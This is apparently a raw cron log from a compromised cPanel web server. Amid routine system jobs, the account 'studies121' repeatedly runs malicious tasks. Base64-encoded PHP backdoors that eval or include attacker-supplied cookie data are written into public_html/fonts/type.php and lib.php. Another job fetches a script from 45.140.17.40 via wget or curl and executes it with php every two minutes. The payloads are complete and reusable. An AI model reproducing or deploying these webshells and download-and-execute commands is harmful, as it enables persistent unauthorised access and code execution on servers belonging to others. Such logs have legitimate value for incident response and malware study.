Sep  7 08:36:01 ip-184-168-122-23 CROND[26117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:37:01 ip-184-168-122-23 CROND[26231]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:37:01 ip-184-168-122-23 CROND[26232]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:37:01 ip-184-168-122-23 CROND[26233]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:37:01 ip-184-168-122-23 CROND[26234]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:38:01 ip-184-168-122-23 CROND[26354]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:38:01 ip-184-168-122-23 CROND[26356]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 08:38:01 ip-184-168-122-23 CROND[26357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:38:01 ip-184-168-122-23 CROND[26358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:38:01 ip-184-168-122-23 CROND[26359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:39:01 ip-184-168-122-23 CROND[26571]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:39:01 ip-184-168-122-23 CROND[26574]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 08:39:01 ip-184-168-122-23 CROND[26572]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:39:01 ip-184-168-122-23 CROND[26575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:39:01 ip-184-168-122-23 CROND[26573]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:40:01 ip-184-168-122-23 CROND[26716]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 08:40:01 ip-184-168-122-23 CROND[26719]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 08:40:01 ip-184-168-122-23 CROND[26720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:40:01 ip-184-168-122-23 CROND[26722]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 08:40:01 ip-184-168-122-23 CROND[26718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:40:01 ip-184-168-122-23 CROND[26721]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:40:01 ip-184-168-122-23 CROND[26723]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:40:01 ip-184-168-122-23 CROND[26724]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 08:41:01 ip-184-168-122-23 CROND[26846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:41:01 ip-184-168-122-23 CROND[26850]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:41:01 ip-184-168-122-23 CROND[26851]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:41:01 ip-184-168-122-23 CROND[26849]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:42:01 ip-184-168-122-23 CROND[27044]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:42:01 ip-184-168-122-23 CROND[27043]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:42:01 ip-184-168-122-23 CROND[27045]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 08:42:01 ip-184-168-122-23 CROND[27042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:42:01 ip-184-168-122-23 CROND[27046]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:43:01 ip-184-168-122-23 CROND[27196]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:43:01 ip-184-168-122-23 CROND[27197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:43:01 ip-184-168-122-23 CROND[27198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:43:01 ip-184-168-122-23 CROND[27199]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:44:01 ip-184-168-122-23 CROND[27321]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:44:01 ip-184-168-122-23 CROND[27322]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:44:01 ip-184-168-122-23 CROND[27323]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 08:44:01 ip-184-168-122-23 CROND[27325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:44:01 ip-184-168-122-23 CROND[27324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:45:01 ip-184-168-122-23 CROND[27438]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:45:01 ip-184-168-122-23 CROND[27439]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:45:01 ip-184-168-122-23 CROND[27442]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:45:01 ip-184-168-122-23 CROND[27440]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  7 08:45:01 ip-184-168-122-23 CROND[27444]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 08:45:01 ip-184-168-122-23 CROND[27441]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:45:01 ip-184-168-122-23 CROND[27443]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 08:46:01 ip-184-168-122-23 CROND[27552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:46:01 ip-184-168-122-23 CROND[27551]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 08:46:01 ip-184-168-122-23 CROND[27553]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:46:01 ip-184-168-122-23 CROND[27554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:46:01 ip-184-168-122-23 CROND[27557]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  7 08:46:01 ip-184-168-122-23 CROND[27556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:46:01 ip-184-168-122-23 CROND[27559]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 08:47:01 ip-184-168-122-23 CROND[27761]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:47:02 ip-184-168-122-23 CROND[27766]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:47:02 ip-184-168-122-23 CROND[27764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:47:02 ip-184-168-122-23 CROND[27765]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:48:01 ip-184-168-122-23 CROND[27873]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:48:01 ip-184-168-122-23 CROND[27871]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:48:01 ip-184-168-122-23 CROND[27874]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:48:01 ip-184-168-122-23 CROND[27872]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 08:48:01 ip-184-168-122-23 CROND[27875]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:49:01 ip-184-168-122-23 CROND[27987]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
